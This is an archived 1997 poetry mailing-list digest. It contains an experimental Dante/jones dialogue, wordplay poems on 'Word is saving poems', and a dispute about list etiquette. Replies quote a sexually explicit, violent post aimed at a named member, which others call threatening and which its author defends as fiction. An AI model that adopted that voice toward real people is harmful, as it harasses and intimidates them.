Well mr. jones, types Dante from an invisible keyboard, I see that you believe in writing your name without capital letters, and that you and your contemporaries believe in very little else. That's what you say, anyway, and what you write in your books and your articles, even poems. But to me there is still reason as well as instinct enough to distinguish between Proper and improper nouns with a capital letter. And this little detail is sufficient (as we commence what I'm hoping is to become our book of the twentieth century, and also of the modern era and what is now succeeding it) it is enough to lead us to everything else ... Significant detail, mr. jones, the starting point from which this new Dante (of modern times and afterwards) is going to survey and pronounce on The Whole, or should I write the whole, or even the hole that such a concept seems to seem to some of you. N'est pas? ... Or shall I say non é? or is it noné? For I want to speak colloquially, y'know, and I'm forgetting my Italian. I'm a new creation...

'... that final belief
Must be in a fiction. It is time to choose.'

from 'Asides on the oboe', The collected poems of Wallace Stevens, Faber & Faber, London, 1955, p250 (poem chosen by chance process, lines chosen by jones)

(c) 1997 john chris jones
You may transmit this text to anyone for any non-commercial purpose if you include the copyright line and this sentence.

If you want to read more of this or would prefer it to stop please tell me backchannel and I'll try to act accordingly. This is its first publication but I hope it won't be its last.

(previous postings appeared in Poetics Digests of 4-5th June and 9-10th June 97)

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283. Hank Lazer

Re: not bondage, but pleasant nonetheless

Thu 12 Jun 1997

Not bound to my Loden-Bowering-Bormige model moveable deskchair, I looked up late last night and saw on the computer screen the following message:

Word is saving poems

Such a warm and pleasant feeling, to know that Word is so benevolent. I have been trying for many years to save poems, and this feeling of companionship in the endeavor is so pleasant.... Are others able to help out with the implications of this message?

Hank Lazer

↑ Index

284. **Maria Damon**
Re: dearest jay
Thu 12 Jun 1997

---

actaully i thot kim dawn's response was hilarious tho' i can see why it might be offensive...esp to jay. jay, are u okay out there?

At 12:03 PM -0700 6/12/97, Hoa Nguyen wrote:
>Although some would like the topic (forever) closed, I wanted to comment
>on Jay's complaint, so here I go (which is the choice/freedom we have
>here-- how terrific!-- which btw is etomologically related to "terror"):
>
>I too think that Jay's post was not a direction for censorship but a
>plea for more careful postings and an opinion concerning some of the
>humor-filled posts. I applauded Jay for speaking out on this-- I know
>as I delete I grumble and mumble-- and I appreciate Jay expressing
>something that I too sometimes feel.
>
>I am not for censorship on this list and I think the multi-tonality add
>to the community of voices, including Jay's voice. I do, however, feel
>very creepy towards this "dearest jay" post-- perhaps Kim Dawn can
>respond on this-- do others read this as mean-spiriting or is this
>another example of how tones like irony are difficult to read?
>
>With utter sincerity--
>
>Hoa
>
>
>
>
>>well, you must be quite satisfied. you've received quite a respomnse to
>>your complaint.
>>you just never knew the likes of me,

>>till now.
>>don't get your cock in a tangle.
>>amd don't lash out before you know.
>>
>>"I am not timid. I've been knocked around. Someone (a man at his wit's
>end
>>) took my hand and drove hid knife into it. Blood everywhere. Afterward
>he
>>was trembling. He held out his hand to me so that I could nail it to
>the
>>table or against a door. Because he had gashed me like that, the man, a
>>lunatic, thought he was now my friend; he pushed his wife into my arms;
>he
>>followed me through the streets crying, "I am the plaything of an
>immoral
>>delirium, I confess, I confess." A strange sort of lunatic. Meanwhile
>the
>>blood was dripping on my only suit."
>> Maurice
>>Blanchot, The Madness of the Day, p.8
>>
>>of course you
>
>
>----------
>Get Your *Web-Based* Free Email at http://www.hotmail.com
>----------

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285. William Burmeister Prod

Re: dearest jay

Thu 12 Jun 1997

> *I do, however, feel*
> *very creepy towards this "dearest jay" post-- perhaps Kim Dawn can*
> *respond on this-- do others read this as mean-spiriting or is this*
> *another example of how tones like irony are difficult to read?*

It's nature's way of saying "don't touch!"

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286. Pete Landers
Re: Inappropriate postings
Thu 12 Jun 1997

So spank me!

On Tue, 10 Jun 1997 Jay Schwartz wrote:
>
> My volume of e-mail is, I'm sure, as high as everyone else on this list.
> I enjoy much of the public discussion. But I'm almost ready to
> unsubscribe based on the number of messages which belong in the realm of
> backchanneling. I'm just not interested in light bondage humor involving
> people I've never met. I'm also impatient with the great frequency of
> private messages which inadvertantly are sent to the entire list. Please
> show more discretion with the send button.
>
> Jay Schwartz, at his absolute snooty and snottiest.
>

↑ Index

287. Mark Weiss
(no subject)
Thu 12 Jun 1997

To any who will be within easy access of Baltimore between now and mid-January I strongly recommend a show at the recently-opened Museum of Visionary Art (for which newageism read outsider art), "Apocalyptic Visions." One of the most impressive art shows I have ever seen. Over 100 works from the "normal" to the totally out-of-it, many elaborating complex cosmologies. A fair amount of schizophrenic language (see, particularly, a coat elaborately embroidered with both images and word-salad). The largest piece is a 300 foot by 5 foot painting interpreting the symbolism of the Book of Revelations. A very few of the artists are well known (there are 5 or 6 very good Howard Finsters), a few come from L'Art Brut in Lausanne (turn of the century Austrian psychotics), a few are French or English, the bulk American. Not to be missed. No catalogue, helas. Allow 4 hours minimum, better yet two visits. This is worth the trip from say NY or Boston. $5.00 gets you in.

↑ Index

288. **Mark Weiss**
Re: parts of the cyberepic
Thu 12 Jun 1997

I type, therefore I am.

At 09:10 PM 6/12/97 +0100, you wrote:
>cyberepic: 3rd posting
>
>(the beginning of the Dante/jones conversation, mentioned earlier)
>
>
>
>DANTE REWRITING, first manifestation
>
>
>
>
>I want you to forget about Dante Alighieri, he died in 13 something, this
>is a new Dante, just conceived in this sentence. I've not got an identity,
>not yet. No number, no name that means anything (but for the allusion to
>teeth?) and no connection with Christianity or medieval politics or even
>philosophy. I'm not even a poet for I don't believe in any specialised
>profession, or even a vocation, if it excludes you from all the others, or
>from being a person of integrity, or should I say a mind?. Yes, that's
>what I aspire to, though I exist only as words and their associations, not
>as a mortal or as a living being or human animal. But I believe in the
>absolute and that's something I don't find in your writing mr. jones. ...
>Yes I'd like to make life easier for you, and for your contemporaries, by
>showing you something of what your ancestors lost when they left the other
>Dante in the middle ages with its beliefs and its beautiful
>thought-structures, as you'd call them, forsaking everything sublime or
>immortal for a crude and cruel elevation of people, or everyman and
>everywoman, to the big places left empty of God. That was a disaster but I
>see it has practical advantages, even now. And terrible risks.
>
>mr. jones pauses to consider this writing, which has appeared so
>unexpectedly before him, before he writes the next sentence ...
>
>
>... Oh yes, he types to himself, unsure if this new Dante can see what
>jones is writing, oh yes, I like the sound of your words, and their
>implications, though as yet I can't see how even you, if you retain any of

>Dante Alighieri's powers, can bridge the big gap between Christianity and
>humanism, between the old world and this ... But why are you here and what
>are you doing?
>
>Well mr. jones, types Dante from an invisible keyboard, I see that you
>believe in writing your name without capital letters, and that you and your
>contemporaries believe in very little else. That's what you say, anyway,
>and what you write in your books and your articles, even poems. But to me
>there is still reason as well as instinct enough to distinguish between
>Proper and improper nouns with a capital letter. And this little detail is
>sufficient (as we commence what I'm hoping is to become our book of the
>twentieth century, and also of the modern era and what is now succeeding
>it) it is enough to lead us to everything else ... Significant detail, mr.
>jones, the starting point from which this new Dante (of modern times and
>afterwards) is going to survey and pronounce on The Whole, or should I
>write the whole, or even the hole that such a concept seems to seem to some
>of you. N'est pas? ... Or shall I say non é? or is it noné? For I want to
>speak colloquially, y'know, and I'm forgetting my Italian. I'm a new
>creation...
>
>
>'... that final belief
>Must be in a fiction. It is time to choose.'
>
>from 'Asides on the oboe', The collected poems of Wallace Stevens, Faber &
>Faber, London, 1955, p250 (poem chosen by chance process, lines chosen by
>jones)
>
>
>
>(c) 1997 john chris jones
>You may transmit this text to anyone for any non-commercial purpose if you
>include the copyright line and this sentence.
>
>
>If you want to read more of this or would prefer it to stop please tell me
>backchannel and I'll try to act accordingly. This is its first publication
>but I hope it won't be its last.
>
>(previous postings appeared in Poetics Digests of 4-5th June and 9-10th
>June 97)

>
>

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289. **Mark Weiss**
Re: not bondage, but pleasant nonetheless
Thu 12 Jun 1997

In a similar mode, I saw recently a documentary slide show with subtitling for the deaf. Begins with music only, indicated sub as "[music]." Which got me thinking--does the word change the impact of that particular silence, transform it to another brand of same?

At 05:16 PM 6/12/97 CST6CDT, you wrote:
>Not bound to my Loden-Bowering-Bormige model moveable deskchair, I
>looked up late last night and saw on the computer screen the following
>message:
>
>Word is saving poems
>
>Such a warm and pleasant feeling, to know that Word is so benevolent.
>I have been trying for many years to save poems, and this feeling of
>companionship in the endeavor is so pleasant.... Are others able to
>help out with the implications of this message?
>
>Hank Lazer
>
>

↑ Index

290. **David Israel**
Re: not bondage, but pleasant nonetheless -Reply
Thu 12 Jun 1997

---

from Hank Lazar:

- - - start - - -
. . . . I looked up late last night and saw on the computer screen the following message:

Word is saving poems

Such a warm and pleasant feeling, to know that Word is so benevolent. I have been trying for many years to save poems, and this feeling of companionship in

the endeavor is so pleasant.... Are others able to help out with the implications of this message? - - - finis - - -

how about turn it around this a'way:

poem is saving words

so:

| POEM IS SAVING WORDS | | poem was fetchin' a heap o' words & puttin' 'em in her basket | some were wee-teensie words and some where downright ornery | some were everyday anyway words and some were so particular | you'd hafta use a pair o' tweezers & a microscope just to make | head or tails ovem | | poem put 'em wherever they fell in her basket which wasn't a | gasket eventho that's what isreal who wasn't dante nor jones | first typed before he corrected it to gasket but anyway there | they all were gathered up some even upside-down or downside- | up and many were hidden | | behind the others which was quite alright with poem because | poem just wanted to save 'em and use 'em somewheres elese | if there was another wheres else and poem figured likely there | was because that's how she figured these manner of figurings | and so she saved lots ovem

d.i.

↑ Index

291. Thomas M. Orange

Word is saving poems

Fri 13 Jun 1997

---

is saving Word.
do you wish to
format? (saving to..)
another disk. save
as poem
format. [Y/N?]
strike any
key. safe ..
in the Word.
saving is poems.

↑ Index

292. Herb Levy
Not Re: not bondage, but pleasant nonetheless
Fri 13 Jun 1997

Mark Weiss wrote:

> *In a similar mode, I saw recently a documentary slide show with subtitling for the deaf. Begins with music only, indicated sub as "[music]." Which got me thinking--does the word change the impact of that particular silence, transform it to another brand of same?*

Interesting to have subtitles rather than an interpreter, but I guess it'd have to be too dark for that in order to show slides. (& it's probably cheaper, too.)

There's a nice sign for music in ASL taken, reasonably enough, from one of the visual elements of the performance of much music: one hand out, in the manner of a chorister holding a folio of music, while the other hand makes a page turning gesture.

At concerts in which there is an ASL interpreter, some interpreters I've seen made a show of being impatient for more English language to sign while making this music/paging sign.

Herb Levy
[redacted]

↑ Index

293. Kim Dawn
word is saving poems
Fri 13 Jun 1997

the storage from some thing from mouth
clinging.
needed.
desired. longed for.
word of mouth
from my tongue to yours to hers
put in an empty milk container,
frozen in the freezer overnight
like a ponytail
cut
(felt like a limb)
words have insurmountable power.
they are photographs. molding in soneones basement.
discarded. but residing as memory within our muscles.
the words spoken. uttered. unsaid. remain.

yes. maria, i am basically mean-spirited at heart. basically. i'm a pussycat. i just play differently. i grew up with guns.

sure, blame in on childhood.

hey brossard. marlat. moure. lover. show your face. dawn upon us.

hey pretty boy. give us some wrist poems.

```
gasp    -------------------+    (((((((((((((  (
gasp    .                     (
in between space(s)                                 (
breath  (                     .
pause          .                                          )
utter          ....)....)....)....)....)....)
stutter         ....)....)....)....)....)....)
s/wallow        -------.--------.--------.----------------.
```

↑ Index

294. John Tranter

Fw: not bondage, but pleasant nonetheless

Fri 13 Jun 1997

Hi, Hank.

Maybe it was trying to say ...

"Word is saving poems from their own worst impulses ... "

and it got choked off.

» »

John Tranter

> > From: Hank Lazer <[redacted]>
> > To:
> > Subject: Re: not bondage, but pleasant nonetheless
> > Date: Friday, 13 June 1997 3:16
> >
> > Not bound to my Loden-Bowering-Bormige model moveable deskchair, I
> > looked up late last night and saw on the computer screen the
> following
> > message:
> >
> > Word is saving poems
> >
> > Such a warm and pleasant feeling, to know that Word is so

benevolent.
> > I have been trying for many years to save poems, and this feeling
of
> > companionship in the endeavor is so pleasant.... Are others able
to
> > help out with the implications of this message?
> >
> > Hank Lazer

↑ Index

295. **Miekal And**

Re: word is saving poems

Fri 13 Jun 1997

Kim Dawn wrote:
>
> the storage from some hold me down thing from mouth
> clinging. thereby whereby
> needed.
> desired. of consequence the grasp touch relieves longed for.
> word of mouthorgan twister
> from my tongue to yours to hers by midnight we rank the fire
> put in an empty milk container, cheers where banging bangs
> frozen in the freezer overnight
> like a ponytail
> cut lip by lip
> (felt like a limb)
> words have insurmountable power.
> they are photographs. molding in soneones basement.
> discarded. but residing as memory within our muscles.
> the words spoken. uttered. unsaid. remain.
e. lover. show your face. dawn upon us.
>
> hey pretty boy. give us some wrist poems.
>
> gasp ----------+ ((((((((((((((
> gasp . (
> in between space(s) (
> breath (.
> pause .)
> utter ....)....)....)....)....)....)

> stutter ....)....)....)....)....)....)
> s/wallow -------.--------.--------.----------.

ZINGA!

--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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296. **Gwyn McVay**
Re: not bondage, but pleasant nonetheless
Fri 13 Jun 1997

Hank, what the computer failed to mention is that Microsoft Word is indeed saving poems, but it automatically downloads the poem & its copyright to the databases of Bill Gates, who is rumored to charge even more for reprint rights than the Eliot estate.

Gwyn

↑ Index

297. **Mark Prejsnar**
Re: Inappropriate postings
Fri 13 Jun 1997

Yup--some applause for Jay Schwartz....I myself:

1. don't much care for the endless archness

2. think it probably goes with the current state of cyber-territory and there isn't much to be done

3. when I get bored by "hi-jinx"..."I reach for my delete key"--Every list I've had any contact with at all has static and white noise....It sure makes 'em an accurate synechode of contemporary culchah!

4. I don't see much chance for Jay winning, but wd. like to let him know he ain't alone...

Mark P.

On Tue, 10 Jun 1997, Robert Hale wrote:

> *In responding to Jay's concerns, people seem to be pigeon-holing him into the role of censor, which he certainly opened himself up to. However, the*

> *points he raises regarding back-channeling and private messages are quite valid.*
>
> *Unfortunately, the server cannot be programmed to limit the number of times a subscriber can post in a 24-hour period. We are on an honor system in this regard that a handful cannot resist breaking.*
>
> *To those who defend references to S&M on the list as a way to keep people interested -- what does this say about the list in general? Is this list a struggling comedy show?*
>
> *At 10:20 AM 6/10/97 -0700, you wrote:*
> *My volume of e-mail is, I'm sure, as high as everyone else on this list.*
> *I enjoy much of the public discussion. But I'm almost ready to unsubscribe based on the number of messages which belong in the realm of backchanneling. I'm just not interested in light bondage humor involving people I've never met. I'm also impatient with the great frequency of private messages which inadvertantly are sent to the entire list. Please show more discretion with the send button.*
>
> *Jay Schwartz, at his absolute snooty and snottiest.*

↑ Index

298. **Maria Damon**

Re: word is saving poems

Fri 13 Jun 1997

At 1:04 AM -0400 6/13/97, Kim Dawn wrote:
>...
>
>
>yes. maria, i am basically mean-spirited at heart. basically. i'm a pussycat.
>i just play differently. i grew up with guns.
>

is this directed at me? have i implied such a thing? not intentionally that's for sure. i thought your "dearest jay" was funny as i said.--md

↑ Index

299. **Kim Dawn**
Re: dearest jay
Fri 13 Jun 1997

>actaully i thot kim dawn's response was hilarious tho' i can see why it
>might be offensive...esp to jay. jay, are u okay out there?
>
>At 12:03 PM -0700 6/12/97, Hoa Nguyen wrote:
>>Although some would like the topic (forever) closed, I wanted to comment
>>on Jay's complaint, so here I go (which is the choice/freedom we have
>>here-- how terrific!-- which btw is etomologically related to "terror"):
>>
>>I too think that Jay's post was not a direction for censorship but a
>>plea for more careful postings and an opinion concerning some of the
>>humor-filled posts. I applauded Jay for speaking out on this-- I know
>>as I delete I grumble and mumble-- and I appreciate Jay expressing
>>something that I too sometimes feel.
>>
>>I am not for censorship on this list and I think the multi-tonality add
>>to the community of voices, including Jay's voice. I do, however, feel
>>very creepy towards this "dearest jay" post-- perhaps Kim Dawn can
>>respond on this-- do others read this as mean-spiriting or is this
>>another example of how tones like irony are difficult to read?
>>
>>With utter sincerity--
>>
>>Hoa
>>
>> sorry maria, no personal offence intended to you or anyone.
  i thought you were asking if my response (s) were mean-spirited.
  and, of course they are and of course they're not.

  words are so powerful.
>>
>>
>>

↑ Index

300. Burt Kimmelman
Re: Inappropriate postings
Fri 13 Jun 1997

yeah, jay, i can see your point too--though i've had a few good chuckles at the witty vitriol certain of our democratic society (i.e., this list) have leveled at you.

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301. Rebecca Reynolds
Re: not bondage, but pleasant nonetheless
Fri 13 Jun 1997

But what poems is it saving?

> *Word is saving poems*
>
> *Such a warm and pleasant feeling, to know that Word is so benevolent. I have been trying for many years to save poems, and this feeling of companionship in the endeavor is so pleasant.... Are others able to help out with the implications of this message?*
>
> *Hank Lazer*

↑ Index

302. Don Cheney
Word is saving poems from sleeping through sex
Fri 13 Jun 1997

this reminds me of how funny WORD the word-processing software is. if you have the letters zzzz in a document and run the spell check the only word WORD can imagine you're trying to spell is sex.

Don

> *Word is saving poems*
>
> *Such a warm and pleasant feeling, to know that Word is so benevolent. I have been trying for many years to save poems, and this feeling of companionship in the endeavor is so pleasant.... Are others able to help out with the implications of this message?*
>
> *Hank Lazer*

==========
Don Cheney San Diego, CA, USA

http://www.geocities.com/Paris/5791
[redacted]
==========

↑ Index

303. **Kim Dawn**
i propose,
Fri 13 Jun 1997

---

would
you
like
to
 be
 my
date
for
 the
tri
 birthday
 party
at
 sharons
 sunday
   ?

↑ Index

304. **Kim Dawn**
(no subject)
Fri 13 Jun 1997

---

please ignore the last message sent.
was not meant for everyone.

↑ Index

305. **Jordan Davis**
Word is trapped in a fortune-cookie factory
Fri 13 Jun 1997

Don --

My favorite scary feature of word (aside from macro viruses -- thanks, evil geniuses!) is the "Tip of the Day." One morning I got the advice that "What goes

away on its own can come back on its own." The machine froze, and when I restarted, I got the flashing question mark. Two weeks later, after it turned out that my mouse had short-circuited the logic board (! -- or somebody at the shop was having a good laugh at the warranty's expense), I opened word, and got "Did you know you can get information about tab stops."

A nation that needs short stories is a nation in peril,
Jordan

↑ Index

306. Daniel Tessitore
ministry of inappropriate writings
Fri 13 Jun 1997

I logged on this morning and when I came back with the coffee my inbox looked like this:

(name) Inappropriate...
(name) Inappropriate...
(name) Inappropriate...
(name) Inappropriate...
(name) Inappropriate...
(name) Inappropriate...

The whole affair looks (perhaps wonderfully) like something the Monte Python Circus would do were it still on the tube: Ministry of Inappropriate Writings, Listserv Division.

[John Cleese is seen behind a large desk, behind him a Thatcher collector plate on the wall, his name placard reads Cecil Twattle, enter Michael Palin]

MP: Hello, Mr. Twattle? Listserv Division?
JC: Yes, can I help you?
MP: I have something you might be interested in. It's quite inappropriate, I think.
JC: Ah, very well...uh...proceed.
MP: (ahem-hmm)....NIPPLES!
JC: [pause, blank stare] Well, that seems more FOPPISH than inappropriate now doesn't it?
MP: [visibly disappointed] Oh, really?
JC: Yes, I'm afraid so. I'm terribly sorry. We must maintain standards you understand...
MP: Yes, yes, of course.
JC: The Ministry of Foppish Displays is two doors further along. They don't have a Listserv Division I'm afraid, but do try "Captains of Industry."

MP: I certainly will, thank you so much.
JC: Not at all...

From: Judy Roitman[SMTP:[redacted]]
Sent: Saturday, June 14, 1997 4:30 AM
To: [redacted]
Subject: Re: Inappropriate postings

Has anyone else noticed the large quantity of postings on this topic, much larger than most topics get?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- ----

↑ Index

307. Daniel Tessitore
Re: POETICS Digest - 12 Jun 1997 to 13 Jun 1997
Fri 13 Jun 1997

Probably the list is already familiar with this, but my summer reading included From Outlaw To Classic, Alan Golding's account of the American tradition through the anthology. Very interesting.

DT

From: Susan Wheeler[SMTP:[redacted]]
Sent: Saturday, June 14, 1997 8:32 PM
To: [redacted]
Subject: Re: POETICS Digest - 12 Jun 1997 to 13 Jun 1997

>desperate for a new topic).
>Jordan
>
>PS I have the same summer reading list as last year, so I'm too ashamed to
>ask what everybody else is reading.
>
I'd be grateful for recommendations of texts that discuss aspects of poetic lineage -- either focusing on individual poets and their adopted forebears or on the nature of this construction: how we inherit/construct our affinities and dominant sources (via pedagogy, etc.). Many thanks in advance.

Have been plowing through a number of recent translations for a couple of reviews -- Breton, Deluy, Valery, Eluard, du Bouchet, Alferi, Fourcade, Jaccottet. Ace. Can't remember what was on your list last year, Jordan -- care to share again?

V

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

308. Daniel Tessitore
Re: Diamanda Galas
Fri 13 Jun 1997

I had a copy of Galas' THE PLAGUE MASS, but returned it to its owner. I believe that was recorded live in a Cathedral/church in NYC, thugh I'm not sure. Yoko Ono meets Laurie Anderson meets Satan. Captivating to say the least.

DT

From: Gwyn McVay[SMTP:[redacted]]
Sent: Saturday, June 14, 1997 10:57 PM
To: [redacted]
Subject: Diamanda Galas

David I. or anybody in the know, p'raps you could backchannel me with a short discography of la Galas? Always been interested, never able to find her stuff.

Gwyn

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309. P.Standard Schaefer

Re: Inappropriate postings

Fri 13 Jun 1997

I wasn't going to add any more pointless posts, but the beating Jay received makes me also want to let him know, as well as his enemies, that I agree with his position. The excessive silliness of many of these posts keeps me from being any more active on the board, as Mark Presjnar seems to feel as well. Thanks Jay and sorry for the heat.

Standard Schaefer

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310. Eliza McGrand- CVA Guest

hi-jinx and High Moral Purposes and all that...

Fri 13 Jun 1997

---

i've been on a few mailing lists, and i've noticed a wierd phenomenon: these lists will be muddling along in chatty, good-humored fashion, and someone (so far, has always been male) will join and after perhaps a day, or maybe a week on the list (though once it was three weeks) will send out some brisk Authoritarian "Now Stop All This Nonsense" thing about keeping on topic and high moral purposes and so forth...

and i must admit, 1) i think it is a sort of testosterone-y power cum Making an Impression of Importance thing; 2) i think it something of effrontery to venture to tell people who've been on a list for, perhaps years, how to run it after you've been on perhaps a day, week, month; 3) lists are FOR mail. for heavens sake, one can always delete (i do when i'm tired or restless), and if a list has too much mail, THEN and ONLY THEN do i see any point, really, in trying to cut down volume. i would define "too much mail" as enough to start choking servor.

i speak as perhaps one who should keep modestly silent, since i was one of ones in on high jinks (mine was the gertrude stein poem). but i very much enjoy the silly exchanges -- i can't really see how one could be High Toned Ladies quite ALL the time (can we have a bit of color then, eh?). for heavens sake, it is SUMMER (or is in u.s. anyway).

there are lots of dead serious CUT TO ONLY THEORY/TECHNICAL MATTERS lists on just about everything there is (am on a few). but this is a poetics list, for godess's sake, about/with/referring to, POETS and writers. what on earth would one expect from a list with writers on it if not a bit of wild and funny and creative writing/jokes/chatter. i mean, really, we sit alone in rooms for hours picking and blazing away -- let us have a little fun when we finally get out of the box eh?

and that goes for the academics (who are stuck, god help them, with tons of children not quite out of PUBERTY for far too many hours in a day) and critics (who have to wade through all that critical/theoretical stuff and still try and maintain a vestige of sanity)..

enter theme song from macdonalds, ... "have you had a Break Today? So get Up and Get Away" (this for you maria, you pop culturalist you!) e

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311. Hoa Nguyen

Re: dearest / let me lick

Fri 13 Jun 1997

Maria, I don't know what is "hilarious" about Kim Dawn's posts-- surely if someone wrote "I want to snip off your nipples with pinking shears/ (this is not poetry)" directed *to* me, I would be alarmed and feel threatened. I can't see the humor here because it was *aimed at* one particular person, Jay, and I imagine this may be why you wrote also asking if he was OK.

"Nature's way of saying don't touch" is very apt. (thanks William Burmeister) And as with the skunk, you have to deal with the smell. Which, from far-away, is both powerful and not-- like language, right Kim Dawn?

--Hoa

PS. Kim, if you want to compare bite-wounds, I was born in a war and grew up as the enemy.

>From: Kim Dawn <[redacted]>
>Subject: let me lick your oricifes
>To: [redacted]
>
>oh, dearest. it's the snap of the neck you so desire, it's the fuck me up
>the ass, piss upon the pave kinda girl you're looking for,
>jay,
>oh, jay, i want to torture you delicately,
>my pussy aches for, i have some devices i could recommend for you, sweetness.
>let me be your baby.
>let me be your daughter.
>let me be your little girl.
>let me be your mommy.
>let me be your cleaning lady.
>let me be your secretary.
>let me tie you up and mangle and chew and

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312. **Pritchett,Pat**
Re: Inappropriate postings
Fri 13 Jun 1997

Oh please! Cut the "holier than thou" crap, people! "The excessive silliness of many of these posts?" The so-called silly posts, I'd venture to estimate offhand, account for less than 5 percent of what's posted to this list. The reason you don't post more often, Standard, is the reason you don't post and is best known to yourself, but there's no way you can look me in the virtual eye and tell me it's because of these "silly posts" (oh aren't they awful!). The occasions to post to serious ongoing discussions on any number of topics has been bountiful and then some and you have been nothing if not silent, my friend, in the year I've been on the list. So please, give me a break!

Not the enemy of Jay, Standard, or anyone else here,
Patrick Pritchett

From: P.Standard Schaefer
To: POETICS
Subject: Re: Inappropriate postings
Date: Friday, June 13, 1997 12:47PM

I wasn't going to add any more pointless posts, but the beating Jay received makes me also want to let him know, as well as his enemies, that I agree with his position. The excessive silliness of many of these posts keeps me from being any more active on the board, as Mark Presjnar seems to feel as well. Thanks Jay and sorry for the heat.

Standard Schaefer

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313. **Bob Grumman**
Re: Inappropriate Wordings
Fri 13 Jun 1997

When P.Standard Schaefer wrote: "I wasn't going to add any more pointless posts, but the beating Jay received makes me also want to let him know, as well as his enemies, that I agree with his position," I wish he'd used the word "response" instead of "beating," and "critics" rather than "enemies," which seems especially excessive.

Nobody's Enemy, I hope, but still in favor of occasional Frivolity,

Bob G.

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314. **dbkk**
Re: dearest / let me lick
Fri 13 Jun 1997

At 10:59 AM -0700 6/13/97, Hoa Nguyen wrote:
>Maria, I don't know what is "hilarious" about Kim Dawn's posts-- surely
>if someone wrote "I want to snip off your nipples with pinking shears/
>(this is not poetry)" directed *to* me, I would be alarmed and feel
>threatened. I can't see the humor here because it was *aimed at* one
>particular person, Jay, and I imagine this may be why you wrote also
>asking if he was OK.
>
>"Nature's way of saying don't touch" is very apt. (thanks William
>Burmeister) And as with the skunk, you have to deal with the smell.
>Which, from far-away, is both powerful and not-- like language, right
>Kim Dawn?

Hoa,

I cannot agree with you more. The only time I've seen behavior as bad as KD's is when professional flamers invaded a newsgroup I read. This, to me, is similarly, provocation for provocation's sake--definitely something fishy here.

I wrote to Jay privately, but when all the machos on this list were dumping on me the little "public" support I got meant a lot, so I want to add here that Jay is an intelligent generous person and he doesn't deserve this crap--especially from someone who doesn't even know who he is.

Dodie

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315. **Kim Dawn**
Re: dearest / let me lick
Fri 13 Jun 1997

>Maria, I don't know what is "hilarious" about Kim Dawn's posts-- surely
>if someone wrote "I want to snip off your nipples with pinking shears/
>(this is not poetry)" directed *to* me, I would be alarmed and feel
>threatened. I can't see the humor here because it was *aimed at* one
>particular person, Jay, and I imagine this may be why you wrote also
>asking if he was OK.
>
>"Nature's way of saying don't touch" is very apt. (thanks William
>Burmeister) And as with the skunk, you have to deal with the smell.
>Which, from far-away, is both powerful and not-- like language, right

>Kim Dawn?
>
>--Hoa
>
>PS. Kim, if you want to compare bite-wounds, I was born in a war and
>grew up as the enemy.
>
>
>
>wow, for poets and writers you sure take language literally.god, how to
>make the joy of words boring. sap their potential and make everyone
>explain themselves. i'm not the only one who refered to jay specifically.
>and how could i really be referring to him? i'm talking through a computer
>for christs sake.
the 'bite-wound' was disguised. sorry it made you feel you needed to expose something.
ahhh, fiction, metaphor.
i don't think there were any guns as far as i remember.
oh how tedious to explain slip of the cuff writing.
oh, and believe me i think women get enough violence shoved up their asses daily. you really think we need a sample. only, you weren't playing,

words are the realm of power and fantasy.
roam freely.

i wish i could fly you out judy, i would if i could.

> *From: Kim Dawn <[redacted]>*
> *Subject: let me lick your oricifes*
> *To: [redacted]*
>
> *oh, dearest. it's the snap of the neck you so desire, it's the fuck me up*
> *the ass, piss upon the pave kinda girl you're looking for,*
> *jay,*
> *oh, jay, i want to torture you delicately,*
> *my pussy aches for, i have some devices i could recommend for you, sweetness.*
> *let me be your baby.*
> *let me be your daughter.*
> *let me be your little girl.*
> *let me be your mommy.*
> *let me be your cleaning lady.*
> *let me be your secretary.*

> *let me tie you up and mangle and chew and*
>
> ---
> *Get Your *Web-Based* Free Email at http://www.hotmail.com*
> ---

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316. **armand schwerner**
DRAGON BOND RITE
Fri 13 Jun 1997

Thanks to Maria Damon, Burt Kimmelman, Nick Piombino and Mark Weiss for your generous comments about Dragon Bond Rite; thanks also to Gwyn McVay and David Israel, who expressed your regrets at now having seen the mask dance ritual drama.

I'm in a small post-partum downer after the last performance-Monday June 9 at the Kennedy Center in DC. We will try to get the company together again for performances in other venues, Europe and Asia among others. It's difficult, takes money for transportation, food and lodging and pay for the performers from Japan, Tuva, Korea, Bali, Kerala (S. India); it's also hard to get them all together for any length of time together: they're wonderful masters of their arts and lead busy lives. Jin-Hi Kim, the composer, Richard Emmert, who teaches Noh at a university in Tokyo and dances Noh, and I began our three-year work on the piece with lengthy consideartons of its essential nature, not wanting it to be a failure of the intelligence, like so many performance pieces which are hi-tech/no mind. The response has been terrific, especially given that, as we knew very well, poetic theater, especially in those works which embody non-Western modes, is littered with the corpses of its failed efforts.

David Israel: I did post the presentation at Kennedy Center on the list; it was at the end of a long description of the piece, and you could easily have missed it. Gwyn: the review did not really come down on Kongar-ool Ondar. (I append the review.) Kongar-ool's throat singing was wonderful strange and haunting, especially in chorus with Jin-Hi Kim's playing of her komungo (a 4th century AD fretted zither.) Ondar speaks only Tuvan and Russian and was the only member of the company who had no compatriots, so he was lonely at first, but shared a hotel room with Okura, a Noh drummer and chanter with whom he shared no language: they got to be great friends and would go off on their own.

The Balinese spoke almost no English; ditto for the Koreans singers and percussionists, though one of them, Choi (pronounced Che) a superb drummer on the changgo, speaks perfect Japanese; the kuddiyattam dancer Madhu, considered the greatest in Kerala, speaks English quite well, much better than his

wonderful drummer Nambiar, with whom he has been performing in temples and other venues for twenty years. Only one of the three Japanese Noh performers spoke some English; they connected with the Koreans through Choi. And so it went. In most of the rehearsals we had the services of both Russian and Indonesian translators. These are merely indications of one of the most extraordinary experiences I think any of us has had, and one of the most deeply felt, across all kinds of theoretical boundaries. There are several performance videos; I don't know yet how good they are; performance videos are often poor. Slides are especially difficult to video well: I made about forty slides of my poetry, and a few of my computer-generated pre-Sumerian pictographs.

Kathryn Van Spanckeren from the University of Tampa got a grant from her school to hang out with the company for three days and two performances and to write an essay on her experience of Dragon Bond Rite. She has been a Fullbright professor in JogJokarta, Indonesia, is very familiar with Asian poetic and general cultural traditions and is a poet and sharply focused critic and reader of comntemporary American poetry. Her essay will be included in Talisman's (? Fall 97) issue which will contain a number of critical essays on my work.

